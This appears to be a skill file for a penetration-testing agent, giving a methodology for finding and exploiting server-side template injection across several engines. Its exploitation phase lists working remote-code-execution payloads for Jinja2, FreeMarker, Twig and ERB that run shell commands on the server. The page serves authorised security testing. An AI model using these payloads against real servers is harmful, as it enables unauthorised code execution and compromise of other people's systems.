attack-ssti

DevOps & Security

Server-Side Template Injection — detection, engine fingerprinting, and exploitation across 7 template engines

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Source SKILL.md: https://github.com/CyberStrikeus/CyberStrike/blob/HEAD/.cyberstrike/skill/attack-ssti/SKILL.md

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Server-Side Template Injection (SSTI)

Objective

Detect and exploit server-side template injection to achieve code execution on the server.

Testing Methodology

Phase 1: Detection

# Automated SSTI detection across 7 engines
attack_script ssti_tester "https://TARGET/search?q=FUZZ" --param q --json-output

# Quick mode (math payloads only)
attack_script ssti_tester "https://TARGET/render" --param template --quick

Phase 2: Generic Detection Payloads

Inject into every user-controlled parameter:

{{7*7}}           → 49 (Jinja2, Twig)
${7*7}            → 49 (FreeMarker, Velocity, EL)
<%= 7*7 %>        → 49 (ERB, JSP)
#{7*7}            → 49 (Thymeleaf)
{{7*'7'}}         → 7777777 (Jinja2 string multiplication)

Phase 3: Engine Fingerprinting

{{config.items()}}                    → Jinja2 (Flask/Python)
{{request.application.__globals__}}   → Jinja2
${T(java.lang.Runtime)}               → Spring EL
<#assign x=1>${x}                     → FreeMarker
{{_self.env.getFilter('id')}}         → Twig (PHP)
<%= system('id') %>                   → ERB (Ruby)

Phase 4: Exploitation

Jinja2 (Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{''.__class__.__mro__[1].__subclasses__()[XXX]('id',shell=True,stdout=-1).communicate()}}

FreeMarker (Java):

${"freemarker.template.utility.Execute"?new()("id")}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback('system')}}{{_self.env.getFilter('id')}}

ERB (Ruby):

<%= `id` %>
<%= system('id') %>

Phase 5: POST-based Injection

# Test POST parameters
attack_script ssti_tester "https://TARGET/api/render" --param content --method POST --data '{"content":"FUZZ"}'

What Constitutes a Finding

Finding	Severity
Math expression evaluated (7*7=49)	High (P2)
Config/env data leaked	High (P2)
Command execution achieved	Critical (P1)
File read via template	Critical (P1)

Evidence Requirements

Injection point (parameter, endpoint)
Payload sent
Server response showing template evaluation
Template engine identified
For RCE: command output in response

Tools

attack_script ssti_tester — automated multi-engine detection
tplmap (external) — SSTI exploitation framework